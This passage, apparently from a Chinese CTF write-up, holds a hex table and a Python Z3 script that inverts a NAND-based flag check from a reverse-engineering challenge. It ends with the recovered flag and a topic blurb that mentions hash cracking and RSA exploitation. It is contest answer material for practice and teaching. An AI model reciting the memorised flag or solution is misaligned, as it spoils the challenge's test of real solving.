01 20 01 21 01 21 01 F7 00 22 01 21 01 22 01 23 01 F7 00 22 01 24 01 23 01 24 01 25 01 F7 00 19 00 26 01 26 01 26 01 27 01 27 01 FB 00 28 01 27 01 28 01 29 01 FB 00 28 01 2A 01 29 01 2A 01 2B 01 FB 00 1A 00 2C 01 2C 01 2C 01 2D 01 2D 01 FF 00 2E 01 2D 01 2E 01 2F 01 FF 00 2E 01 30 01 2F 01 30 01 31 01 FF 00 1B 00 32 01 32 01 32 01 33 01 33 01 03 01 34 01 33 01 34 01 35 01 03 01 34 01 36 01 35 01 36 01 37 01 03 01 1C 00 38 01 38 01 38 01 39 01 39 01 07 01 3A 01 39 01 3A 01 3B 01 07 01 3A 01 3C 01 3B 01 3C 01 3D 01 07 01 1D 00 3E 01 3E 01 3E 01 3F 01 3F 01 0B 01 40 01 3F 01 40 01 41 01 0B 01 40 01 42 01 41 01 42 01 43 01 0B 01 1E 00 44 01 44 01 44 01 45 01 45 01 0F 01 46 01 45 01 46 01 47 01 0F 01 46 01 48 01 47 01 48 01 49 01 0F 01 1F 00 4A 01 4A 01 4A 01 4B 01 4B 01 13 01 4C 01 4B 01 4C 01 4D 01 13 01 4C 01 4E 01 4D 01 4E 01 4F 01 13 01 20 00 50 01 50 01 50 01 51 01 51 01 17 01 52 01 51 01 52 01 53 01 17 01 52 01 54 01 53 01 54 01 55 01 17 01 21 00 56 01 56 01 56 01 57 01 57 01 1B 01 58 01 57 01 58 01 59 01 1B 01 58 01 5A 01 59 01 5A 01 5B 01 1B 01 22 00 5C 01 5C 01 5C 01 5D 01 5D 01 1F 01 5E 01 5D 01 5E 01 5F 01 1F 01 5E 01 60 01 5F 01 60 01 61 01 1F 01 23 00 62 01 62 01 62 01 63 01 63 01 F3 00 64 01 63 01 64 01 65 01 F3 00 64 01 66 01 65 01 66 01 67 01 7B 00 25 01 68 01 7B 00 68 01 69 01 25 01 68 01 6A 01 69 01 6A 01 6B 01 7F 00 2B 01 6C 01 7F 00 6C 01 6D 01 2B 01 6C 01 6E 01 6D 01 6E 01 6F 01 83 00 31 01 70 01 83 00 70 01 71 01 31 01 70 01 72 01 71 01 72 01 73 01 87 00 37 01 74 01 87 00 74 01 75 01 37 01 74 01 76 01 75 01 76 01 77 01 8B 00 3D 01 78 01 8B 00 78 01 79 01 3D 01 78 01 7A 01 79 01 7A 01 7B 01 8F 00 43 01 7C 01 8F 00 7C 01 7D 01 43 01 7C 01 7E 01 7D 01 7E 01 7F 01 93 00 49 01 80 01 93 00 80 01 81 01 49 01 80 01 82 01 81 01 82 01 83 01 97 00 4F 01 84 01 97 00 84 01 85 01 4F 01 84 01 86 01 85 01 86 01 87 01 9B 00 55 01 88 01 9B 00 88 01 89 01 55 01 88 01 8A 01 89 01 8A 01 8B 01 9F 00 5B 01 8C 01 9F 00 8C 01 8D 01 5B 01 8C 01 8E 01 8D 01 8E 01 8F 01 A3 00 61 01 90 01 A3 00 90 01 91 01 61 01 90 01 92 01 91 01 92 01 93 01 A7 00 67 01 94 01 A7 00 94 01 95 01 67 01 94 01 96 01 95 01 96 01 97 01 6B 01 24 00 98 01 98 01 98 01 99 01 99 01 6F 01 9A 01 99 01 9A 01 9B 01 6F 01 9A 01 9C 01 9B 01 9C 01 9D 01 6F 01 25 00 9E 01 9E 01 9E 01 9F 01 9F 01 73 01 A0 01 9F 01 A0 01 A1 01 73 01 A0 01 A2 01 A1 01 A2 01 A3 01 73 01 26 00 A4 01 A4 01 A4 01 A5 01 A5 01 77 01 A6 01 A5 01 A6 01 A7 01 77 01 A6 01 A8 01 A7 01 A8 01 A9 01 77 01 27 00 AA 01 AA 01 AA 01 AB 01 AB 01 7B 01 AC 01 AB 01 AC 01 AD 01 7B 01 AC 01 AE 01 AD 01 AE 01 AF 01 7B 01 28 00 B0 01 B0 01 B0 01 B1 01 B1 01 7F 01 B2 01 B1 01 B2 01 B3 01 7F 01 B2 01 B4 01 B3 01 B4 01 B5 01 7F 01 29 00 B6 01 B6 01 B6 01 B7 01 B7 01 83 01 B8 01 B7 01 B8 01 B9 01 83 01 B8 01 BA 01 B9 01 BA 01 BB 01 83 01 2A 00 BC 01 BC 01 BC 01 BD 01 BD 01 87 01 BE 01 BD 01 BE 01 BF 01 87 01 BE 01 C0 01 BF 01 C0 01 C1 01 87 01 2B 00 C2 01 C2 01 C2 01 C3 01 C3 01 8B 01 C4 01 C3 01 C4 01 C5 01 8B 01 C4 01 C6 01 C5 01 C6 01 C7 01 8B 01 2C 00 C8 01 C8 01 C8 01 C9 01 C9 01 8F 01 CA 01 C9 01 CA 01 CB 01 8F 01 CA 01 CC 01 CB 01 CC 01 CD 01 8F 01 2D 00 CE 01 CE 01 CE 01 CF 01 CF 01 93 01 D0 01 CF 01 D0 01 D1 01 93 01 D0 01 D2 01 D1 01 D2 01 D3 01 93 01 2E 00 D4 01 D4 01 D4 01 D5 01 D5 01 97 01 D6 01 D5 01 D6 01 D7 01 97 01 D6 01 D8 01 D7 01 D8 01 D9 01 97 01 2F 00 DA 01 DA 01 DA 01 DB 01 DB 01 6B 01 DC 01 DB 01 DC 01 DD 01 6B 01 DC 01 DE 01 DD 01 DE 01 DF 01 F3 00 9D 01 E0 01 F3 00 E0 01 E1 01 9D 01 E0 01 E2 01 E1 01 E2 01 E3 01 F7 00 A3 01 E4 01 F7 00 E4 01 E5 01 A3 01 E4 01 E6 01 E5 01 E6 01 E7 01 FB 00 A9 01 E8 01 FB 00 E8 01 E9 01 A9 01 E8 01 EA 01 E9 01 EA 01 EB 01 FF 00 AF 01 EC 01 FF 00 EC 01 ED 01 AF 01 EC 01 EE 01 ED 01 EE 01 EF 01 03 01 B5 01 F0 01 03 01 F0 01 F1 01 B5 01 F0 01 F2 01 F1 01 F2 01 F3 01 07 01 BB 01 F4 01 07 01 F4 01 F5 01 BB 01 F4 01 F6 01 F5 01 F6 01 F7 01 0B 01 C1 01 F8 01 0B 01 F8 01 F9 01 C1 01 F8 01 FA 01 F9 01 FA 01 FB 01 0F 01 C7 01 FC 01 0F 01 FC 01 FD 01 C7 01 FC 01 FE 01 FD 01 FE 01 FF 01 13 01 CD 01 00 02 13 01 00 02 01 02 CD 01 00 02 02 02 01 02 02 02 03 02 17 01 D3 01 04 02 17 01 04 02 05 02 D3 01 04 02 06 02 05 02 06 02 07 02 1B 01 D9 01 08 02 1B 01 08 02 09 02 D9 01 08 02 0A 02 09 02 0A 02 0B 02 1F 01 DF 01 0C 02 1F 01 0C 02 0D 02 DF 01 0C 02 0E 02 0D 02 0E 02 0F 02 E3 01 18 00 10 02 10 02 10 02 11 02 11 02 E7 01 12 02 11 02 12 02 13 02 E7 01 12 02 14 02 13 02 14 02 15 02 E7 01 19 00 16 02 16 02 16 02 17 02 17 02 EB 01 18 02 17 02 18 02 19 02 EB 01 18 02 1A 02 19 02 1A 02 1B 02 EB 01 1A 00 1C 02 1C 02 1C 02 1D 02 1D 02 EF 01 1E 02 1D 02 1E 02 1F 02 EF 01 1E 02 20 02 1F 02 20 02 21 02 EF 01 1B 00 22 02 22 02 22 02 23 02 23 02 F3 01 24 02 23 02 24 02 25 02 F3 01 24 02 26 02 25 02 26 02 27 02 F3 01 1C 00 28 02 28 02 28 02 29 02 29 02 F7 01 2A 02 29 02 2A 02 2B 02 F7 01 2A 02 2C 02 2B 02 2C 02 2D 02 F7 01 1D 00 2E 02 2E 02 2E 02 2F 02 2F 02 FB 01 30 02 2F 02 30 02 31 02 FB 01 30 02 32 02 31 02 32 02 33 02 FB 01 1E 00 34 02 34 02 34 02 35 02 35 02 FF 01 36 02 35 02 36 02 37 02 FF 01 36 02 38 02 37 02 38 02 39 02 FF 01 1F 00 3A 02 3A 02 3A 02 3B 02 3B 02 03 02 3C 02 3B 02 3C 02 3D 02 03 02 3C 02 3E 02 3D 02 3E 02 3F 02 03 02 20 00 40 02 40 02 40 02 41 02 41 02 07 02 42 02 41 02 42 02 43 02 07 02 42 02 44 02 43 02 44 02 45 02 07 02 21 00 46 02 46 02 46 02 47 02 47 02 0B 02 48 02 47 02 48 02 49 02 0B 02 48 02 4A 02 49 02 4A 02 4B 02 0B 02 22 00 4C 02 4C 02 4C 02 4D 02 4D 02 0F 02 4E 02 4D 02 4E 02 4F 02 0F 02 4E 02 50 02 4F 02 50 02 51 02 0F 02 23 00 52 02 52 02 52 02 53 02 53 02 E3 01 54 02 53 02 54 02 55 02 E3 01 54 02 56 02 55 02 56 02 57 02 6B 01 15 02 58 02 6B 01 58 02 59 02 15 02 58 02 5A 02 59 02 5A 02 5B 02 6F 01 1B 02 5C 02 6F 01 5C 02 5D 02 1B 02 5C 02 5E 02 5D 02 5E 02 5F 02 73 01 21 02 60 02 73 01 60 02 61 02 21 02 60 02 62 02 61 02 62 02 63 02 77 01 27 02 64 02 77 01 64 02 65 02 27 02 64 02 66 02 65 02 66 02 67 02 7B 01 2D 02 68 02 7B 01 68 02 69 02 2D 02 68 02 6A 02 69 02 6A 02 6B 02 7F 01 33 02 6C 02 7F 01 6C 02 6D 02 33 02 6C 02 6E 02 6D 02 6E 02 6F 02 83 01 39 02 70 02 83 01 70 02 71 02 39 02 70 02 72 02 71 02 72 02 73 02 87 01 3F 02 74 02 87 01 74 02 75 02 3F 02 74 02 76 02 75 02 76 02 77 02 8B 01 45 02 78 02 8B 01 78 02 79 02 45 02 78 02 7A 02 79 02 7A 02 7B 02 8F 01 4B 02 7C 02 8F 01 7C 02 7D 02 4B 02 7C 02 7E 02 7D 02 7E 02 7F 02 93 01 51 02 80 02 93 01 80 02 81 02 51 02 80 02 82 02 81 02 82 02 83 02 97 01 57 02 84 02 97 01 84 02 85 02 57 02 84 02 86 02 85 02 86 02 87 02 5B 02 24 00 88 02 88 02 88 02 89 02 89 02 5F 02 8A 02 89 02 8A 02 8B 02 5F 02 8A 02 8C 02 8B 02 8C 02 8D 02 5F 02 25 00 8E 02 8E 02 8E 02 8F 02 8F 02 63 02 90 02 8F 02 90 02 91 02 63 02 90 02 92 02 91 02 92 02 93 02 63 02 26 00 94 02 94 02 94 02 95 02 95 02 67 02 96 02 95 02 96 02 97 02 67 02 96 02 98 02 97 02 98 02 99 02 67 02 27 00 9A 02 9A 02 9A 02 9B 02 9B 02 6B 02 9C 02 9B 02 9C 02 9D 02 6B 02 9C 02 9E 02 9D 02 9E 02 9F 02 6B 02 28 00 A0 02 A0 02 A0 02 A1 02 A1 02 6F 02 A2 02 A1 02 A2 02 A3 02 6F 02 A2 02 A4 02 A3 02 A4 02 A5 02 6F 02 29 00 A6 02 A6 02 A6 02 A7 02 A7 02 73 02 A8 02 A7 02 A8 02 A9 02 73 02 A8 02 AA 02 A9 02 AA 02 AB 02 73 02 2A 00 AC 02 AC 02 AC 02 AD 02 AD 02 77 02 AE 02 AD 02 AE 02 AF 02 77 02 AE 02 B0 02 AF 02 B0 02 B1 02 77 02 2B 00 B2 02 B2 02 B2 02 B3 02 B3 02 7B 02 B4 02 B3 02 B4 02 B5 02 7B 02 B4 02 B6 02 B5 02 B6 02 B7 02 7B 02 2C 00 B8 02 B8 02 B8 02 B9 02 B9 02 7F 02 BA 02 B9 02 BA 02 BB 02 7F 02 BA 02 BC 02 BB 02 BC 02 BD 02 7F 02 2D 00 BE 02 BE 02 BE 02 BF 02 BF 02 83 02 C0 02 BF 02 C0 02 C1 02 83 02 C0 02 C2 02 C1 02 C2 02 C3 02 83 02 2E 00 C4 02 C4 02 C4 02 C5 02 C5 02 87 02 C6 02 C5 02 C6 02 C7 02 87 02 C6 02 C8 02 C7 02 C8 02 C9 02 87 02 2F 00 CA 02 CA 02 CA 02 CB 02 CB 02 5B 02 CC 02 CB 02 CC 02 CD 02 5B 02 CC 02 CE 02 CD 02 CE 02 CF 02 E3 01 8D 02 D0 02 E3 01 D0 02 D1 02 8D 02 D0 02 D2 02 D1 02 D2 02 D3 02 E7 01 93 02 D4 02 E7 01 D4 02 D5 02 93 02 D4 02 D6 02 D5 02 D6 02 D7 02 EB 01 99 02 D8 02 EB 01 D8 02 D9 02 99 02 D8 02 DA 02 D9 02 DA 02 DB 02 EF 01 9F 02 DC 02 EF 01 DC 02 DD 02 9F 02 DC 02 DE 02 DD 02 DE 02 DF 02 F3 01 A5 02 E0 02 F3 01 E0 02 E1 02 A5 02 E0 02 E2 02 E1 02 E2 02 E3 02 F7 01 AB 02 E4 02 F7 01 E4 02 E5 02 AB 02 E4 02 E6 02 E5 02 E6 02 E7 02 FB 01 B1 02 E8 02 FB 01 E8 02 E9 02 B1 02 E8 02 EA 02 E9 02 EA 02 EB 02 FF 01 B7 02 EC 02 FF 01 EC 02 ED 02 B7 02 EC 02 EE 02 ED 02 EE 02 EF 02 03 02 BD 02 F0 02 03 02 F0 02 F1 02 BD 02 F0 02 F2 02 F1 02 F2 02 F3 02 07 02 C3 02 F4 02 07 02 F4 02 F5 02 C3 02 F4 02 F6 02 F5 02 F6 02 F7 02 0B 02 C9 02 F8 02 0B 02 F8 02 F9 02 C9 02 F8 02 FA 02 F9 02 FA 02 FB 02 0F 02 CF 02 FC 02 0F 02 FC 02 FD 02 CF 02 FC 02 FE 02 FD 02 FE 02 FF 02 D3 02 18 00 00 03 00 03 00 03 01 03 01 03 D7 02 02 03 01 03 02 03 03 03 D7 02 02 03 04 03 03 03 04 03 05 03 D7 02 19 00 06 03 06 03 06 03 07 03 07 03 DB 02 08 03 07 03 08 03 09 03 DB 02 08 03 0A 03 09 03 0A 03 0B 03 DB 02 1A 00 0C 03 0C 03 0C 03 0D 03 0D 03 DF 02 0E 03 0D 03 0E 03 0F 03 DF 02 0E 03 10 03 0F 03 10 03 11 03 DF 02 1B 00 12 03 12 03 12 03 13 03 13 03 E3 02 14 03 13 03 14 03 15 03 E3 02 14 03 16 03 15 03 16 03 17 03 E3 02 1C 00 18 03 18 03 18 03 19 03 19 03 E7 02 1A 03 19 03 1A 03 1B 03 E7 02 1A 03 1C 03 1B 03 1C 03 1D 03 E7 02 1D 00 1E 03 1E 03 1E 03 1F 03 1F 03 EB 02 20 03 1F 03 20 03 21 03 EB 02 20 03 22 03 21 03 22 03 23 03 EB 02 1E 00 24 03 24 03 24 03 25 03 25 03 EF 02 26 03 25 03 26 03 27 03 EF 02 26 03 28 03 27 03 28 03 29 03 EF 02 1F 00 2A 03 2A 03 2A 03 2B 03 2B 03 F3 02 2C 03 2B 03 2C 03 2D 03 F3 02 2C 03 2E 03 2D 03 2E 03 2F 03 F3 02 20 00 30 03 30 03 30 03 31 03 31 03 F7 02 32 03 31 03 32 03 33 03 F7 02 32 03 34 03 33 03 34 03 35 03 F7 02 21 00 36 03 36 03 36 03 37 03 37 03 FB 02 38 03 37 03 38 03 39 03 FB 02 38 03 3A 03 39 03 3A 03 3B 03 FB 02 22 00 3C 03 3C 03 3C 03 3D 03 3D 03 FF 02 3E 03 3D 03 3E 03 3F 03 FF 02 3E 03 40 03 3F 03 40 03 41 03 FF 02 23 00 42 03 42 03 42 03 43 03 43 03 D3 02 44 03 43 03 44 03 45 03 D3 02 44 03 46 03 45 03 46 03 47 03 5B 02 05 03 48 03 5B 02 48 03 49 03 05 03 48 03 4A 03 49 03 4A 03 4B 03 5F 02 0B 03 4C 03 5F 02 4C 03 4D 03 0B 03 4C 03 4E 03 4D 03 4E 03 4F 03 63 02 11 03 50 03 63 02 50 03 51 03 11 03 50 03 52 03 51 03 52 03 53 03 67 02 17 03 54 03 67 02 54 03 55 03 17 03 54 03 56 03 55 03 56 03 57 03 6B 02 1D 03 58 03 6B 02 58 03 59 03 1D 03 58 03 5A 03 59 03 5A 03 5B 03 6F 02 23 03 5C 03 6F 02 5C 03 5D 03 23 03 5C 03 5E 03 5D 03 5E 03 5F 03 73 02 29 03 60 03 73 02 60 03 61 03 29 03 60 03 62 03 61 03 62 03 63 03 77 02 2F 03 64 03 77 02 64 03 65 03 2F 03 64 03 66 03 65 03 66 03 67 03 7B 02 35 03 68 03 7B 02 68 03 69 03 35 03 68 03 6A 03 69 03 6A 03 6B 03 7F 02 3B 03 6C 03 7F 02 6C 03 6D 03 3B 03 6C 03 6E 03 6D 03 6E 03 6F 03 83 02 41 03 70 03 83 02 70 03 71 03 41 03 70 03 72 03 71 03 72 03 73 03 87 02 47 03 74 03 87 02 74 03 75 03 47 03 74 03 76 03 75 03 76 03 77 03 4B 03 24 00 78 03 78 03 78 03 79 03 79 03 4F 03 7A 03 79 03 7A 03 7B 03 4F 03 7A 03 7C 03 7B 03 7C 03 7D 03 4F 03 25 00 7E 03 7E 03 7E 03 7F 03 7F 03 53 03 80 03 7F 03 80 03 81 03 53 03 80 03 82 03 81 03 82 03 83 03 53 03 26 00 84 03 84 03 84 03 85 03 85 03 57 03 86 03 85 03 86 03 87 03 57 03 86 03 88 03 87 03 88 03 89 03 57 03 27 00 8A 03 8A 03 8A 03 8B 03 8B 03 5B 03 8C 03 8B 03 8C 03 8D 03 5B 03 8C 03 8E 03 8D 03 8E 03 8F 03 5B 03 28 00 90 03 90 03 90 03 91 03 91 03 5F 03 92 03 91 03 92 03 93 03 5F 03 92 03 94 03 93 03 94 03 95 03 5F 03 29 00 96 03 96 03 96 03 97 03 97 03 63 03 98 03 97 03 98 03 99 03 63 03 98 03 9A 03 99 03 9A 03 9B 03 63 03 2A 00 9C 03 9C 03 9C 03 9D 03 9D 03 67 03 9E 03 9D 03 9E 03 9F 03 67 03 9E 03 A0 03 9F 03 A0 03 A1 03 67 03 2B 00 A2 03 A2 03 A2 03 A3 03 A3 03 6B 03 A4 03 A3 03 A4 03 A5 03 6B 03 A4 03 A6 03 A5 03 A6 03 A7 03 6B 03 2C 00 A8 03 A8 03 A8 03 A9 03 A9 03 6F 03 AA 03 A9 03 AA 03 AB 03 6F 03 AA 03 AC 03 AB 03 AC 03 AD 03 6F 03 2D 00 AE 03 AE 03 AE 03 AF 03 AF 03 73 03 B0 03 AF 03 B0 03 B1 03 73 03 B0 03 B2 03 B1 03 B2 03 B3 03 73 03 2E 00 B4 03 B4 03 B4 03 B5 03 B5 03 77 03 B6 03 B5 03 B6 03 B7 03 77 03 B6 03 B8 03 B7 03 B8 03 B9 03 77 03 2F 00 BA 03 BA 03 BA 03 BB 03 BB 03 4B 03 BC 03 BB 03 BC 03 BD 03 4B 03 BC 03 BE 03 BD 03 BE 03 BF 03 D3 02 7D 03 C0 03 D3 02 C0 03 C1 03 7D 03 C0 03 C2 03 C1 03 C2 03 C3 03 D7 02 83 03 C4 03 D7 02 C4 03 C5 03 83 03 C4 03 C6 03 C5 03 C6 03 C7 03 DB 02 89 03 C8 03 DB 02 C8 03 C9 03 89 03 C8 03 CA 03 C9 03 CA 03 CB 03 DF 02 8F 03 CC 03 DF 02 CC 03 CD 03 8F 03 CC 03 CE 03 CD 03 CE 03 CF 03 E3 02 95 03 D0 03 E3 02 D0 03 D1 03 95 03 D0 03 D2 03 D1 03 D2 03 D3 03 E7 02 9B 03 D4 03 E7 02 D4 03 D5 03 9B 03 D4 03 D6 03 D5 03 D6 03 D7 03 EB 02 A1 03 D8 03 EB 02 D8 03 D9 03 A1 03 D8 03 DA 03 D9 03 DA 03 DB 03 EF 02 A7 03 DC 03 EF 02 DC 03 DD 03 A7 03 DC 03 DE 03 DD 03 DE 03 DF 03 F3 02 AD 03 E0 03 F3 02 E0 03 E1 03 AD 03 E0 03 E2 03 E1 03 E2 03 E3 03 F7 02 B3 03 E4 03 F7 02 E4 03 E5 03 B3 03 E4 03 E6 03 E5 03 E6 03 E7 03 FB 02 B9 03 E8 03 FB 02 E8 03 E9 03 B9 03 E8 03 EA 03 E9 03 EA 03 EB 03 FF 02 BF 03 EC 03 FF 02 EC 03 ED 03 BF 03 EC 03 EE 03 ED 03 EE 03 EF 03 4B 03 4B 03 F0 03 F0 03 F0 03 00 00 4F 03 4F 03 F1 03 F1 03 F1 03 01 00 53 03 53 03 F2 03 F2 03 F2 03 02 00 57 03 57 03 F3 03 F3 03 F3 03 03 00 5B 03 5B 03 F4 03 F4 03 F4 03 04 00 5F 03 5F 03 F5 03 F5 03 F5 03 05 00 63 03 63 03 F6 03 F6 03 F6 03 06 00 67 03 67 03 F7 03 F7 03 F7 03 07 00 6B 03 6B 03 F8 03 F8 03 F8 03 08 00 6F 03 6F 03 F9 03 F9 03 F9 03 09 00 73 03 73 03 FA 03 FA 03 FA 03 0A 00 77 03 77 03 FB 03 FB 03 FB 03 0B 00 C3 03 C3 03 FC 03 FC 03 FC 03 0C 00 C7 03 C7 03 FD 03 FD 03 FD 03 0D 00 CB 03 CB 03 FE 03 FE 03 FE 03 0E 00 CF 03 CF 03 FF 03 FF 03 FF 03 0F 00 D3 03 D3 03 00 04 00 04 00 04 10 00 D7 03 D7 03 01 04 01 04 01 04 11 00 DB 03 DB 03 02 04 02 04 02 04 12 00 DF 03 DF 03 03 04 03 04 03 04 13 00 E3 03 E3 03 04 04 04 04 04 04 14 00 E7 03 E7 03 05 04 05 04 05 04 15 00 EB 03 EB 03 06 04 06 04 06 04 16 00 EF 03 EF 03 07 04 07 04 07 04 17 00
"""
# i5 = *((_DWORD*)v210 + 1)
START_I = 0 # 如果你确认不是0就改
def hex_to_bytes(s: str) -> bytes:
s = " ".join(s.split())
return bytes.fromhex(s)
def parse_words_le(b: bytes):
assert len(b) % 2 == 0
return [b[i] | (b[i+1] << 8) for i in range(0, len(b), 2)]
def main():
vb = hex_to_bytes(V194_HEX)
v194 = parse_words_le(vb)
need = 3 * 0x3F0
if len(v194) < need:
raise ValueError(f"v194 too short: {len(v194)} < {need}")
max_idx = max(v194[:need])
N = max(max_idx + 1, 0x30) # 至少要覆盖到 0x30
s = Solver()
mem = [None] * N
# 0x00..0x17:未知 flag
flag = [BitVec(f"flag_{i}", 8) for i in range(24)]
for i in range(24):
mem[i] = flag[i]
# 可选:可打印
s.add(mem[i] >= 0x20, mem[i] <= 0x7E)
# 可选:加速/去多解(CTF常见)
prefix = b"flag{"
for i,ch in enumerate(prefix):
s.add(flag[i] == ch)
s.add(flag[23] == ord("}"))
# 0x18..0x2F:固定 TAIL
for j in range(24):
mem[0x18 + j] = BitVecVal(TAIL[j], 8)
# 0x30..:全 0(你说从 0x30 开始就是 0)
for i in range(0x30, N):
mem[i] = BitVecVal(0, 8)
# (如果 N > 0x30,上面已覆盖;如果 N == 0x30,没问题)
# 但还需要把 0x18..0x2F 已覆盖以外的 0x18..0x2F 之外 <0x30 的位置初始化
# 这里只有 0x00..0x2F,已被 flag+TAIL 全覆盖,所以不用补。
# ===== 原样 forward 你的加密 for-loop =====
for i5 in range(START_I, 0x3F0):
a = v194[3*i5 + 0]
b = v194[3*i5 + 1]
c = v194[3*i5 + 2]
mem[c] = ~(mem[b] & mem[a]) # 8-bit BitVec 上就是按字节 NAND
# 最终前24字节等于密文
for i in range(24):
s.add(mem[i] == BitVecVal(CIPH[i], 8))
if s.check() != sat:
print("UNSAT:通常是 START_I 不对,或 v194 没贴全/贴错。")
return
m = s.model()
out = bytes([m.eval(flag[i]).as_long() for i in range(24)])
print("flag =", out)
main()
#flag{B62o3$cC..*cE70O7?}涵盖MISC、Web、PWN、Crypto及Reverse五大类题目,详解SMB哈希破解、隐写分析、FM信号解码、RSA漏洞利用与Z3逆向求解等核心技术。
由 AI 根据全文自动生成,仅供参考,以原文为准
